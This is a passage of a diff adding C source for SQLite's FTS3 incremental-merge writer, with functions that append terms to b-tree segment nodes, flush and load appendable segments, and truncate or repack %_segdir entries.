      ** into the parent of this node. */
+
      rc = fts3WriteSegment(p, pNode->iBlock, pNode->block.a, pNode->block.n);
+

+
      assert( pNode->block.nAlloc>=p->nNodeSize );
+
      pNode->block.a[0] = (char)iLayer;
+
      pNode->block.n = 1 + sqlite3Fts3PutVarint(&pNode->block.a[1], iPtr+1);
+

+
      iNextPtr = pNode->iBlock;
+
      pNode->iBlock++;
+
      pNode->key.n = 0;
+
    }
+

+
    if( rc!=SQLITE_OK || iNextPtr==0 ) return rc;
+
    iPtr = iNextPtr;
+
  }
+

+
  assert( 0 );
+
  return 0;
+
}
+

+
/*
+
** Append a term and (optionally) doclist to the FTS segment node currently
+
** stored in blob *pNode. The node need not contain any terms, but the
+
** header must be written before this function is called.
+
**
+
** A node header is a single 0x00 byte for a leaf node, or a height varint
+
** followed by the left-hand-child varint for an internal node.
+
**
+
** The term to be appended is passed via arguments zTerm/nTerm. For a 
+
** leaf node, the doclist is passed as aDoclist/nDoclist. For an internal
+
** node, both aDoclist and nDoclist must be passed 0.
+
**
+
** If the size of the value in blob pPrev is zero, then this is the first
+
** term written to the node. Otherwise, pPrev contains a copy of the 
+
** previous term. Before this function returns, it is updated to contain a
+
** copy of zTerm/nTerm.
+
**
+
** It is assumed that the buffer associated with pNode is already large
+
** enough to accommodate the new entry. The buffer associated with pPrev
+
** is extended by this function if requrired.
+
**
+
** If an error (i.e. OOM condition) occurs, an SQLite error code is
+
** returned. Otherwise, SQLITE_OK.
+
*/
+
static int fts3AppendToNode(
+
  Blob *pNode,                    /* Current node image to append to */
+
  Blob *pPrev,                    /* Buffer containing previous term written */
+
  const char *zTerm,              /* New term to write */
+
  int nTerm,                      /* Size of zTerm in bytes */
+
  const char *aDoclist,           /* Doclist (or NULL) to write */
+
  int nDoclist                    /* Size of aDoclist in bytes */ 
+
){
+
  int rc = SQLITE_OK;             /* Return code */
+
  int bFirst = (pPrev->n==0);     /* True if this is the first term written */
+
  int nPrefix;                    /* Size of term prefix in bytes */
+
  int nSuffix;                    /* Size of term suffix in bytes */
+

+
  /* Node must have already been started. There must be a doclist for a
+
  ** leaf node, and there must not be a doclist for an internal node.  */
+
  assert( pNode->n>0 );
+
  assert( (pNode->a[0]=='\0')==(aDoclist!=0) );
+

+
  blobGrowBuffer(pPrev, nTerm, &rc);
+
  if( rc!=SQLITE_OK ) return rc;
+

+
  nPrefix = fts3PrefixCompress(pPrev->a, pPrev->n, zTerm, nTerm);
+
  nSuffix = nTerm - nPrefix;
+
  memcpy(pPrev->a, zTerm, nTerm);
+
  pPrev->n = nTerm;
+

+
  if( bFirst==0 ){
+
    pNode->n += sqlite3Fts3PutVarint(&pNode->a[pNode->n], nPrefix);
+
  }
+
  pNode->n += sqlite3Fts3PutVarint(&pNode->a[pNode->n], nSuffix);
+
  memcpy(&pNode->a[pNode->n], &zTerm[nPrefix], nSuffix);
+
  pNode->n += nSuffix;
+

+
  if( aDoclist ){
+
    pNode->n += sqlite3Fts3PutVarint(&pNode->a[pNode->n], nDoclist);
+
    memcpy(&pNode->a[pNode->n], aDoclist, nDoclist);
+
    pNode->n += nDoclist;
+
  }
+

+
  assert( pNode->n<=pNode->nAlloc );
+

+
  return SQLITE_OK;
+
}
+

+
/*
+
** Append the current term and doclist pointed to by cursor pCsr to the
+
** appendable b-tree segment opened for writing by pWriter.
+
**
+
** Return SQLITE_OK if successful, or an SQLite error code otherwise.
+
*/
+
static int fts3IncrmergeAppend(
+
  Fts3Table *p,                   /* Fts3 table handle */
+
  IncrmergeWriter *pWriter,       /* Writer object */
+
  Fts3MultiSegReader *pCsr        /* Cursor containing term and doclist */
+
){
+
  const char *zTerm = pCsr->zTerm;
+
  int nTerm = pCsr->nTerm;
+
  const char *aDoclist = pCsr->aDoclist;
+
  int nDoclist = pCsr->nDoclist;
+
  int rc = SQLITE_OK;           /* Return code */
+
  int nSpace;                   /* Total space in bytes required on leaf */
+
  int nPrefix;                  /* Size of prefix shared with previous term */
+
  int nSuffix;                  /* Size of suffix (nTerm - nPrefix) */
+
  NodeWriter *pLeaf;            /* Object used to write leaf nodes */
+

+
  pLeaf = &pWriter->aNodeWriter[0];
+
  nPrefix = fts3PrefixCompress(pLeaf->key.a, pLeaf->key.n, zTerm, nTerm);
+
  nSuffix = nTerm - nPrefix;
+

+
  nSpace  = sqlite3Fts3VarintLen(nPrefix);
+
  nSpace += sqlite3Fts3VarintLen(nSuffix) + nSuffix;
+
  nSpace += sqlite3Fts3VarintLen(nDoclist) + nDoclist;
+

+
  /* If the current block is not empty, and if adding this term/doclist
+
  ** to the current block would make it larger than Fts3Table.nNodeSize
+
  ** bytes, write this block out to the database. */
+
  if( pLeaf->block.n>0 && (pLeaf->block.n + nSpace)>p->nNodeSize ){
+
    rc = fts3WriteSegment(p, pLeaf->iBlock, pLeaf->block.a, pLeaf->block.n);
+
    pWriter->nWork++;
+

+
    /* Add the current term to the parent node. The term added to the 
+
    ** parent must:
+
    **
+
    **   a) be greater than the largest term on the leaf node just written
+
    **      to the database (still available in pLeaf->key), and
+
    **
+
    **   b) be less than or equal to the term about to be added to the new
+
    **      leaf node (zTerm/nTerm).
+
    **
+
    ** In other words, it must be the prefix of zTerm 1 byte longer than
+
    ** the common prefix (if any) of zTerm and pWriter->zTerm.
+
    */
+
    if( rc==SQLITE_OK ){
+
      rc = fts3IncrmergePush(p, pWriter, zTerm, nPrefix+1);
+
    }
+

+
    /* Advance to the next output block */
+
    pLeaf->iBlock++;
+
    pLeaf->key.n = 0;
+
    pLeaf->block.n = 0;
+

+
    nSuffix = nTerm;
+
    nSpace  = 1;
+
    nSpace += sqlite3Fts3VarintLen(nSuffix) + nSuffix;
+
    nSpace += sqlite3Fts3VarintLen(nDoclist) + nDoclist;
+
  }
+

+
  blobGrowBuffer(&pLeaf->block, pLeaf->block.n + nSpace, &rc);
+

+
  if( rc==SQLITE_OK ){
+
    if( pLeaf->block.n==0 ){
+
      pLeaf->block.n = 1;
+
      pLeaf->block.a[0] = '\0';
+
    }
+
    rc = fts3AppendToNode(
+
        &pLeaf->block, &pLeaf->key, zTerm, nTerm, aDoclist, nDoclist
+
    );
+
  }
+

+
  return rc;
+
}
+

+
/*
+
** This function is called to release all dynamic resources held by the
+
** merge-writer object pWriter, and if no error has occurred, to flush
+
** all outstanding node buffers held by pWriter to disk.
+
**
+
** If *pRc is not SQLITE_OK when this function is called, then no attempt
+
** is made to write any data to disk. Instead, this function serves only
+
** to release outstanding resources.
+
**
+
** Otherwise, if *pRc is initially SQLITE_OK and an error occurs while
+
** flushing buffers to disk, *pRc is set to an SQLite error code before
+
** returning.
+
*/
+
static void fts3IncrmergeRelease(
+
  Fts3Table *p,                   /* FTS3 table handle */
+
  IncrmergeWriter *pWriter,       /* Merge-writer object */
+
  int *pRc                        /* IN/OUT: Error code */
+
){
+
  int i;                          /* Used to iterate through non-root layers */
+
  int iRoot;                      /* Index of root in pWriter->aNodeWriter */
+
  NodeWriter *pRoot;              /* NodeWriter for root node */
+
  int rc = *pRc;                  /* Error code */
+

+
  /* Set iRoot to the index in pWriter->aNodeWriter[] of the output segment 
+
  ** root node. If the segment fits entirely on a single leaf node, iRoot
+
  ** will be set to 0. If the root node is the parent of the leaves, iRoot
+
  ** will be 1. And so on.  */
+
  for(iRoot=FTS_MAX_APPENDABLE_HEIGHT-1; iRoot>=0; iRoot--){
+
    NodeWriter *pNode = &pWriter->aNodeWriter[iRoot];
+
    if( pNode->block.n>0 ) break;
+
    assert( *pRc || pNode->block.nAlloc==0 );
+
    assert( *pRc || pNode->key.nAlloc==0 );
+
    sqlite3_free(pNode->block.a);
+
    sqlite3_free(pNode->key.a);
+
  }
+

+
  /* Empty output segment. This is a no-op. */
+
  if( iRoot<0 ) return;
+

+
  /* The entire output segment fits on a single node. Normally, this means
+
  ** the node would be stored as a blob in the "root" column of the %_segdir
+
  ** table. However, this is not permitted in this case. The problem is that 
+
  ** space has already been reserved in the %_segments table, and so the 
+
  ** start_block and end_block fields of the %_segdir table must be populated. 
+
  ** And, by design or by accident, released versions of FTS cannot handle 
+
  ** segments that fit entirely on the root node with start_block!=0.
+
  **
+
  ** Instead, create a synthetic root node that contains nothing but a 
+
  ** pointer to the single content node. So that the segment consists of a
+
  ** single leaf and a single interior (root) node.
+
  **
+
  ** Todo: Better might be to defer allocating space in the %_segments 
+
  ** table until we are sure it is needed.
+
  */
+
  if( iRoot==0 ){
+
    Blob *pBlock = &pWriter->aNodeWriter[1].block;
+
    blobGrowBuffer(pBlock, 1 + FTS3_VARINT_MAX, &rc);
+
    if( rc==SQLITE_OK ){
+
      pBlock->a[0] = 0x01;
+
      pBlock->n = 1 + sqlite3Fts3PutVarint(
+
          &pBlock->a[1], pWriter->aNodeWriter[0].iBlock
+
      );
+
    }
+
    iRoot = 1;
+
  }
+
  pRoot = &pWriter->aNodeWriter[iRoot];
+

+
  /* Flush all currently outstanding nodes to disk. */
+
  for(i=0; i<iRoot; i++){
+
    NodeWriter *pNode = &pWriter->aNodeWriter[i];
+
    if( pNode->block.n>0 && rc==SQLITE_OK ){
+
      rc = fts3WriteSegment(p, pNode->iBlock, pNode->block.a, pNode->block.n);
+
    }
+
    sqlite3_free(pNode->block.a);
+
    sqlite3_free(pNode->key.a);
+
  }
+

+
  /* Write the %_segdir record. */
+
  if( rc==SQLITE_OK ){
+
    rc = fts3WriteSegdir(p, 
+
        pWriter->iAbsLevel+1,               /* level */
+
        pWriter->iIdx,                      /* idx */
+
        pWriter->iStart,                    /* start_block */
+
        pWriter->aNodeWriter[0].iBlock,     /* leaves_end_block */
+
        pWriter->iEnd,                      /* end_block */
+
        pRoot->block.a, pRoot->block.n      /* root */
+
    );
+
  }
+
  sqlite3_free(pRoot->block.a);
+
  sqlite3_free(pRoot->key.a);
+

+
  *pRc = rc;
+
}
+

+
/*
+
** Compare the term in buffer zLhs (size in bytes nLhs) with that in
+
** zRhs (size in bytes nRhs) using memcmp. If one term is a prefix of
+
** the other, it is considered to be smaller than the other.
+
**
+
** Return -ve if zLhs is smaller than zRhs, 0 if it is equal, or +ve
+
** if it is greater.
+
*/
+
static int fts3TermCmp(
+
  const char *zLhs, int nLhs,     /* LHS of comparison */
+
  const char *zRhs, int nRhs      /* RHS of comparison */
+
){
+
  int nCmp = MIN(nLhs, nRhs);
+
  int res;
+

+
  res = memcmp(zLhs, zRhs, nCmp);
+
  if( res==0 ) res = nLhs - nRhs;
+

+
  return res;
+
}
+

+

+
/*
+
** Query to see if the entry in the %_segments table with blockid iEnd is 
+
** NULL. If no error occurs and the entry is NULL, set *pbRes 1 before
+
** returning. Otherwise, set *pbRes to 0. 
+
**
+
** Or, if an error occurs while querying the database, return an SQLite 
+
** error code. The final value of *pbRes is undefined in this case.
+
**
+
** This is used to test if a segment is an "appendable" segment. If it
+
** is, then a NULL entry has been inserted into the %_segments table
+
** with blockid %_segdir.end_block.
+
*/
+
static int fts3IsAppendable(Fts3Table *p, sqlite3_int64 iEnd, int *pbRes){
+
  int bRes = 0;                   /* Result to set *pbRes to */
+
  sqlite3_stmt *pCheck = 0;       /* Statement to query database with */
+
  int rc;                         /* Return code */
+

+
  rc = fts3SqlStmt(p, SQL_SEGMENT_IS_APPENDABLE, &pCheck, 0);
+
  if( rc==SQLITE_OK ){
+
    sqlite3_bind_int64(pCheck, 1, iEnd);
+
    if( SQLITE_ROW==sqlite3_step(pCheck) ) bRes = 1;
+
    rc = sqlite3_reset(pCheck);
+
  }
+
  
+
  *pbRes = bRes;
+
  return rc;
+
}
+

+
/*
+
** This function is called when initializing an incremental-merge operation.
+
** It checks if the existing segment with index value iIdx at absolute level 
+
** (iAbsLevel+1) can be appended to by the incremental merge. If it can, the
+
** merge-writer object *pWriter is initialized to write to it.
+
**
+
** An existing segment can be appended to by an incremental merge if:
+
**
+
**   * It was initially created as an appendable segment (with all required
+
**     space pre-allocated), and
+
**
+
**   * The first key read from the input (arguments zKey and nKey) is 
+
**     greater than the largest key currently stored in the potential
+
**     output segment.
+
*/
+
static int fts3IncrmergeLoad(
+
  Fts3Table *p,                   /* Fts3 table handle */
+
  sqlite3_int64 iAbsLevel,        /* Absolute level of input segments */
+
  int iIdx,                       /* Index of candidate output segment */
+
  const char *zKey,               /* First key to write */
+
  int nKey,                       /* Number of bytes in nKey */
+
  IncrmergeWriter *pWriter        /* Populate this object */
+
){
+
  int rc;                         /* Return code */
+
  sqlite3_stmt *pSelect = 0;      /* SELECT to read %_segdir entry */
+

+
  rc = fts3SqlStmt(p, SQL_SELECT_SEGDIR, &pSelect, 0);
+
  if( rc==SQLITE_OK ){
+
    sqlite3_int64 iStart = 0;     /* Value of %_segdir.start_block */
+
    sqlite3_int64 iLeafEnd = 0;   /* Value of %_segdir.leaves_end_block */
+
    sqlite3_int64 iEnd = 0;       /* Value of %_segdir.end_block */
+
    const char *aRoot = 0;        /* Pointer to %_segdir.root buffer */
+
    int nRoot = 0;                /* Size of aRoot[] in bytes */
+
    int rc2;                      /* Return code from sqlite3_reset() */
+
    int bAppendable = 0;          /* Set to true if segment is appendable */
+

+
    /* Read the %_segdir entry for index iIdx absolute level (iAbsLevel+1) */
+
    sqlite3_bind_int64(pSelect, 1, iAbsLevel+1);
+
    sqlite3_bind_int(pSelect, 2, iIdx);
+
    if( sqlite3_step(pSelect)==SQLITE_ROW ){
+
      iStart = sqlite3_column_int64(pSelect, 1);
+
      iLeafEnd = sqlite3_column_int64(pSelect, 2);
+
      iEnd = sqlite3_column_int64(pSelect, 3);
+
      nRoot = sqlite3_column_bytes(pSelect, 4);
+
      aRoot = sqlite3_column_blob(pSelect, 4);
+
    }else{
+
      return sqlite3_reset(pSelect);
+
    }
+

+
    /* Check for the zero-length marker in the %_segments table */
+
    rc = fts3IsAppendable(p, iEnd, &bAppendable);
+

+
    /* Check that zKey/nKey is larger than the largest key the candidate */
+
    if( rc==SQLITE_OK && bAppendable ){
+
      char *aLeaf = 0;
+
      int nLeaf = 0;
+

+
      rc = sqlite3Fts3ReadBlock(p, iLeafEnd, &aLeaf, &nLeaf, 0);
+
      if( rc==SQLITE_OK ){
+
        NodeReader reader;
+
        for(rc = nodeReaderInit(&reader, aLeaf, nLeaf);
+
            rc==SQLITE_OK && reader.aNode;
+
            rc = nodeReaderNext(&reader)
+
        ){
+
          assert( reader.aNode );
+
        }
+
        if( fts3TermCmp(zKey, nKey, reader.term.a, reader.term.n)<=0 ){
+
          bAppendable = 0;
+
        }
+
        nodeReaderRelease(&reader);
+
      }
+
      sqlite3_free(aLeaf);
+
    }
+

+
    if( rc==SQLITE_OK && bAppendable ){
+
      /* It is possible to append to this segment. Set up the IncrmergeWriter
+
      ** object to do so.  */
+
      int i;
+
      int nHeight = (int)aRoot[0];
+
      NodeWriter *pNode;
+

+
      pWriter->nLeafEst = (int)((iEnd - iStart) + 1)/FTS_MAX_APPENDABLE_HEIGHT;
+
      pWriter->iStart = iStart;
+
      pWriter->iEnd = iEnd;
+
      pWriter->iAbsLevel = iAbsLevel;
+
      pWriter->iIdx = iIdx;
+

+
      for(i=nHeight+1; i<FTS_MAX_APPENDABLE_HEIGHT; i++){
+
        pWriter->aNodeWriter[i].iBlock = pWriter->iStart + i*pWriter->nLeafEst;
+
      }
+

+
      pNode = &pWriter->aNodeWriter[nHeight];
+
      pNode->iBlock = pWriter->iStart + pWriter->nLeafEst*nHeight;
+
      blobGrowBuffer(&pNode->block, MAX(nRoot, p->nNodeSize), &rc);
+
      if( rc==SQLITE_OK ){
+
        memcpy(pNode->block.a, aRoot, nRoot);
+
        pNode->block.n = nRoot;
+
      }
+

+
      for(i=nHeight; i>=0 && rc==SQLITE_OK; i--){
+
        NodeReader reader;
+
        pNode = &pWriter->aNodeWriter[i];
+

+
        rc = nodeReaderInit(&reader, pNode->block.a, pNode->block.n);
+
        while( reader.aNode && rc==SQLITE_OK ) rc = nodeReaderNext(&reader);
+
        blobGrowBuffer(&pNode->key, reader.term.n, &rc);
+
        if( rc==SQLITE_OK ){
+
          memcpy(pNode->key.a, reader.term.a, reader.term.n);
+
          pNode->key.n = reader.term.n;
+
          if( i>0 ){
+
            char *aBlock = 0;
+
            int nBlock = 0;
+
            pNode = &pWriter->aNodeWriter[i-1];
+
            pNode->iBlock = reader.iChild;
+
            rc = sqlite3Fts3ReadBlock(p, reader.iChild, &aBlock, &nBlock, 0);
+
            blobGrowBuffer(&pNode->block, MAX(nBlock, p->nNodeSize), &rc);
+
            if( rc==SQLITE_OK ){
+
              memcpy(pNode->block.a, aBlock, nBlock);
+
              pNode->block.n = nBlock;
+
            }
+
            sqlite3_free(aBlock);
+
          }
+
        }
+
        nodeReaderRelease(&reader);
+
      }
+
    }
+

+
    rc2 = sqlite3_reset(pSelect);
+
    if( rc==SQLITE_OK ) rc = rc2;
+
  }
+

+
  return rc;
+
}
+

+
/*
+
** Determine the largest segment index value that exists within absolute
+
** level iAbsLevel+1. If no error occurs, set *piIdx to this value plus
+
** one before returning SQLITE_OK. Or, if there are no segments at all 
+
** within level iAbsLevel, set *piIdx to zero.
+
**
+
** If an error occurs, return an SQLite error code. The final value of
+
** *piIdx is undefined in this case.
+
*/
+
static int fts3IncrmergeOutputIdx( 
+
  Fts3Table *p,                   /* FTS Table handle */
+
  sqlite3_int64 iAbsLevel,        /* Absolute index of input segments */
+
  int *piIdx                      /* OUT: Next free index at iAbsLevel+1 */
+
){
+
  int rc;
+
  sqlite3_stmt *pOutputIdx = 0;   /* SQL used to find output index */
+

+
  rc = fts3SqlStmt(p, SQL_NEXT_SEGMENT_INDEX, &pOutputIdx, 0);
+
  if( rc==SQLITE_OK ){
+
    sqlite3_bind_int64(pOutputIdx, 1, iAbsLevel+1);
+
    sqlite3_step(pOutputIdx);
+
    *piIdx = sqlite3_column_int(pOutputIdx, 0);
+
    rc = sqlite3_reset(pOutputIdx);
+
  }
+

+
  return rc;
+
}
+

+
/* 
+
** Allocate an appendable output segment on absolute level iAbsLevel+1
+
** with idx value iIdx.
+
**
+
** In the %_segdir table, a segment is defined by the values in three
+
** columns:
+
**
+
**     start_block
+
**     leaves_end_block
+
**     end_block
+
**
+
** When an appendable segment is allocated, it is estimated that the
+
** maximum number of leaf blocks that may be required is the sum of the
+
** number of leaf blocks consumed by the input segments, plus the number
+
** of input segments, multiplied by two. This value is stored in stack 
+
** variable nLeafEst.
+
**
+
** A total of 16*nLeafEst blocks are allocated when an appendable segment
+
** is created ((1 + end_block - start_block)==16*nLeafEst). The contiguous
+
** array of leaf nodes starts at the first block allocated. The array
+
** of interior nodes that are parents of the leaf nodes start at block
+
** (start_block + (1 + end_block - start_block) / 16). And so on.
+
**
+
** In the actual code below, the value "16" is replaced with the 
+
** pre-processor macro FTS_MAX_APPENDABLE_HEIGHT.
+
*/
+
static int fts3IncrmergeWriter( 
+
  Fts3Table *p,                   /* Fts3 table handle */
+
  sqlite3_int64 iAbsLevel,        /* Absolute level of input segments */
+
  int iIdx,                       /* Index of new output segment */
+
  Fts3MultiSegReader *pCsr,       /* Cursor that data will be read from */
+
  IncrmergeWriter *pWriter        /* Populate this object */
+
){
+
  int rc;                         /* Return Code */
+
  int i;                          /* Iterator variable */
+
  int nLeafEst = 0;               /* Blocks allocated for leaf nodes */
+
  sqlite3_stmt *pLeafEst = 0;     /* SQL used to determine nLeafEst */
+
  sqlite3_stmt *pFirstBlock = 0;  /* SQL used to determine first block */
+

+
  /* Calculate nLeafEst. */
+
  rc = fts3SqlStmt(p, SQL_MAX_LEAF_NODE_ESTIMATE, &pLeafEst, 0);
+
  if( rc==SQLITE_OK ){
+
    sqlite3_bind_int64(pLeafEst, 1, iAbsLevel);
+
    sqlite3_bind_int64(pLeafEst, 2, pCsr->nSegment);
+
    if( SQLITE_ROW==sqlite3_step(pLeafEst) ){
+
      nLeafEst = sqlite3_column_int(pLeafEst, 0);
+
    }
+
    rc = sqlite3_reset(pLeafEst);
+
  }
+
  if( rc!=SQLITE_OK ) return rc;
+

+
  /* Calculate the first block to use in the output segment */
+
  rc = fts3SqlStmt(p, SQL_NEXT_SEGMENTS_ID, &pFirstBlock, 0);
+
  if( rc==SQLITE_OK ){
+
    if( SQLITE_ROW==sqlite3_step(pFirstBlock) ){
+
      pWriter->iStart = sqlite3_column_int64(pFirstBlock, 0);
+
      pWriter->iEnd = pWriter->iStart - 1;
+
      pWriter->iEnd += nLeafEst * FTS_MAX_APPENDABLE_HEIGHT;
+
    }
+
    rc = sqlite3_reset(pFirstBlock);
+
  }
+
  if( rc!=SQLITE_OK ) return rc;
+

+
  /* Insert the marker in the %_segments table to make sure nobody tries
+
  ** to steal the space just allocated. This is also used to identify 
+
  ** appendable segments.  */
+
  rc = fts3WriteSegment(p, pWriter->iEnd, 0, 0);
+
  if( rc!=SQLITE_OK ) return rc;
+

+
  pWriter->iAbsLevel = iAbsLevel;
+
  pWriter->nLeafEst = nLeafEst;
+
  pWriter->iIdx = iIdx;
+

+
  /* Set up the array of NodeWriter objects */
+
  for(i=0; i<FTS_MAX_APPENDABLE_HEIGHT; i++){
+
    pWriter->aNodeWriter[i].iBlock = pWriter->iStart + i*pWriter->nLeafEst;
+
  }
+
  return SQLITE_OK;
+
}
+

+
/*
+
** Remove an entry from the %_segdir table. This involves running the 
+
** following two statements:
+
**
+
**   DELETE FROM %_segdir WHERE level = :iAbsLevel AND idx = :iIdx
+
**   UPDATE %_segdir SET idx = idx - 1 WHERE level = :iAbsLevel AND idx > :iIdx
+
**
+
** The DELETE statement removes the specific %_segdir level. The UPDATE 
+
** statement ensures that the remaining segments have contiguously allocated
+
** idx values.
+
*/
+
static int fts3RemoveSegdirEntry(
+
  Fts3Table *p,                   /* FTS3 table handle */
+
  sqlite3_int64 iAbsLevel,        /* Absolute level to delete from */
+
  int iIdx                        /* Index of %_segdir entry to delete */
+
){
+
  int rc;                         /* Return code */
+
  sqlite3_stmt *pDelete = 0;      /* DELETE statement */
+

+
  rc = fts3SqlStmt(p, SQL_DELETE_SEGDIR_ENTRY, &pDelete, 0);
+
  if( rc==SQLITE_OK ){
+
    sqlite3_bind_int64(pDelete, 1, iAbsLevel);
+
    sqlite3_bind_int(pDelete, 2, iIdx);
+
    sqlite3_step(pDelete);
+
    rc = sqlite3_reset(pDelete);
+
  }
+

+
  return rc;
+
}
+

+
/*
+
** One or more segments have just been removed from absolute level iAbsLevel.
+
** Update the 'idx' values of the remaining segments in the level so that
+
** the idx values are a contiguous sequence starting from 0.
+
*/
+
static int fts3RepackSegdirLevel(
+
  Fts3Table *p,                   /* FTS3 table handle */
+
  sqlite3_int64 iAbsLevel         /* Absolute level to repack */
+
){
+
  int rc;                         /* Return code */
+
  int *aIdx = 0;                  /* Array of remaining idx values */
+
  int nIdx = 0;                   /* Valid entries in aIdx[] */
+
  int nAlloc = 0;                 /* Allocated size of aIdx[] */
+
  int i;                          /* Iterator variable */
+
  sqlite3_stmt *pSelect = 0;      /* Select statement to read idx values */
+
  sqlite3_stmt *pUpdate = 0;      /* Update statement to modify idx values */
+

+
  rc = fts3SqlStmt(p, SQL_SELECT_INDEXES, &pSelect, 0);
+
  if( rc==SQLITE_OK ){
+
    int rc2;
+
    sqlite3_bind_int64(pSelect, 1, iAbsLevel);
+
    while( SQLITE_ROW==sqlite3_step(pSelect) ){
+
      if( nIdx>=nAlloc ){
+
        int *aNew;
+
        nAlloc += 16;
+
        aNew = sqlite3_realloc(aIdx, nAlloc*sizeof(int));
+
        if( !aNew ){
+
          rc = SQLITE_NOMEM;
+
          break;
+
        }
+
        aIdx = aNew;
+
      }
+
      aIdx[nIdx++] = sqlite3_column_int(pSelect, 0);
+
    }
+
    rc2 = sqlite3_reset(pSelect);
+
    if( rc==SQLITE_OK ) rc = rc2;
+
  }
+

+
  if( rc==SQLITE_OK ){
+
    rc = fts3SqlStmt(p, SQL_SHIFT_SEGDIR_ENTRY, &pUpdate, 0);
+
  }
+
  if( rc==SQLITE_OK ){
+
    sqlite3_bind_int64(pUpdate, 2, iAbsLevel);
+
  }
+

+
  assert( p->bIgnoreSavepoint==0 );
+
  p->bIgnoreSavepoint = 1;
+
  for(i=0; rc==SQLITE_OK && i<nIdx; i++){
+
    if( aIdx[i]!=i ){
+
      sqlite3_bind_int(pUpdate, 3, aIdx[i]);
+
      sqlite3_bind_int(pUpdate, 1, i);
+
      sqlite3_step(pUpdate);
+
      rc = sqlite3_reset(pUpdate);
+
    }
+
  }
+
  p->bIgnoreSavepoint = 0;
+

+
  sqlite3_free(aIdx);
+
  return rc;
+
}
+

+
static void fts3StartNode(Blob *pNode, int iHeight, sqlite3_int64 iChild){
+
  pNode->a[0] = (char)iHeight;
+
  if( iChild ){
+
    assert( pNode->nAlloc>=1+sqlite3Fts3VarintLen(iChild) );
+
    pNode->n = 1 + sqlite3Fts3PutVarint(&pNode->a[1], iChild);
+
  }else{
+
    assert( pNode->nAlloc>=1 );
+
    pNode->n = 1;
+
  }
+
}
+

+
/*
+
** The first two arguments are a pointer to and the size of a segment b-tree
+
** node. The node may be a leaf or an internal node.
+
**
+
** This function creates a new node image in blob object *pNew by copying
+
** all terms that are greater than or equal to zTerm/nTerm (for leaf nodes)
+
** or greater than zTerm/nTerm (for internal nodes) from aNode/nNode.
+
*/
+
static int fts3TruncateNode(
+
  const char *aNode,              /* Current node image */
+
  int nNode,                      /* Size of aNode in bytes */
+
  Blob *pNew,                     /* OUT: Write new node image here */
+
  const char *zTerm,              /* Omit all terms smaller than this */
+
  int nTerm,                      /* Size of zTerm in bytes */
+
  sqlite3_int64 *piBlock          /* OUT: Block number in next layer down */
+
){
+
  NodeReader reader;              /* Reader object */
+
  Blob prev = {0, 0, 0};          /* Previous term written to new node */
+
  int rc = SQLITE_OK;             /* Return code */
+
  int bLeaf = aNode[0]=='\0';     /* True for a leaf node */
+

+
  /* Allocate required output space */
+
  blobGrowBuffer(pNew, nNode, &rc);
+
  if( rc!=SQLITE_OK ) return rc;
+
  pNew->n = 0;
+

+
  /* Populate new node buffer */
+
  for(rc = nodeReaderInit(&reader, aNode, nNode); 
+
      rc==SQLITE_OK && reader.aNode; 
+
      rc = nodeReaderNext(&reader)
+
  ){
+
    if( pNew->n==0 ){
+
      int res = fts3TermCmp(reader.term.a, reader.term.n, zTerm, nTerm);
+
      if( res<0 || (bLeaf==0 && res==0) ) continue;
+
      fts3StartNode(pNew, (int)aNode[0], reader.iChild);
+
      *piBlock = reader.iChild;
+
    }
+
    rc = fts3AppendToNode(
+
        pNew, &prev, reader.term.a, reader.term.n,
+
        reader.aDoclist, reader.nDoclist
+
    );
+
    if( rc!=SQLITE_OK ) break;
+
  }
+
  if( pNew->n==0 ){
+
    fts3StartNode(pNew, (int)aNode[0], reader.iChild);
+
    *piBlock = reader.iChild;
+
  }
+
  assert( pNew->n<=pNew->nAlloc );
+

+
  nodeReaderRelease(&reader);
+
  sqlite3_free(prev.a);
+
  return rc;
+
}
+

+
/*
+
** Remove all terms smaller than zTerm/nTerm from segment iIdx in absolute 
+
** level iAbsLevel. This may involve deleting entries from the %_segments
+
** table, and modifying existing entries in both the %_segments and %_segdir
+
** tables.
+
**
+
** SQLITE_OK is returned if the segment is updated successfully. Or an
+
** SQLite error code otherwise.
+
*/
+
static int fts3TruncateSegment(
+
  Fts3Table *p,                   /* FTS3 table handle */
+
  sqlite3_int64 iAbsLevel,        /* Absolute level of segment to modify */
+
  int iIdx,                       /* Index within level of segment to modify */
+
  const char *zTerm,              /* Remove terms smaller than this */
+
  int nTerm                      /* Number of bytes in buffer zTerm */
+
){
+
  int rc = SQLITE_OK;             /* Return code */
+
  Blob root = {0,0,0};            /* New root page image */
+
  Blob block = {0,0,0};           /* Buffer used for any other block */
+
  sqlite3_int64 iBlock = 0;       /* Block id */
+
  sqlite3_int64 iNewStart = 0;    /* New value for iStartBlock */
+
  sqlite3_int64 iOldStart = 0;    /* Old value for iStartBlock */
+
  sqlite3_stmt *pFetch = 0;       /* Statement used to fetch segdir */
+

+
  rc = fts3SqlStmt(p, SQL_SELECT_SEGDIR, &pFetch, 0);
+
  if( rc==SQLITE_OK ){
+
    int rc2;                      /* sqlite3_reset() return code */
+
    sqlite3_bind_int64(pFetch, 1, iAbsLevel);
+
    sqlite3_bind_int(pFetch, 2, iIdx);
+
    if( SQLITE_ROW==sqlite3_step(pFetch) ){
+
      const char *aRoot = sqlite3_column_blob(pFetch, 4);
+
      int nRoot = sqlite3_column_bytes(pFetch, 4);
+
      iOldStart = sqlite3_column_int64(pFetch, 1);
+
      rc = fts3TruncateNode(aRoot, nRoot, &root, zTerm, nTerm, &iBlock);
+
    }
+
    rc2 = sqlite3_reset(pFetch);
+
    if( rc==SQLITE_OK ) rc = rc2;
+
  }
+

+
  while( rc==SQLITE_OK && iBlock ){
+
    char *aBlock = 0;
+
    int nBlock = 0;
+
    iNewStart = iBlock;
+

+
    rc = sqlite3Fts3ReadBlock(p, iBlock, &aBlock, &nBlock, 0);
+
    if( rc==SQLITE_OK ){
+
      rc = fts3TruncateNode(aBlock, nBlock, &block, zTerm, nTerm, &iBlock);
+
    }
+
    if( rc==SQLITE_OK ){
+
      rc = fts3WriteSegment(p, iNewStart, block.a, block.n);
+
    }
+
    sqlite3_free(aBlock);
+
  }
+

+
  /* Variable iNewStart now contains the first valid leaf node. */
+
  if( rc==SQLITE_OK && iNewStart ){
+
    sqlite3_stmt *pDel = 0;
+
    rc = fts3SqlStmt(p, SQL_DELETE_SEGMENTS_RANGE, &pDel, 0);
+
    if( rc==SQLITE_OK ){
+
      sqlite3_bind_int64(pDel, 1, iOldStart);
+
      sqlite3_bind_int64(pDel, 2, iNewStart-1);
+
      sqlite3_step(pDel);
+
      rc = sqlite3_reset(pDel);
+
    }
+
  }
+

+
  if( rc==SQLITE_OK ){
+
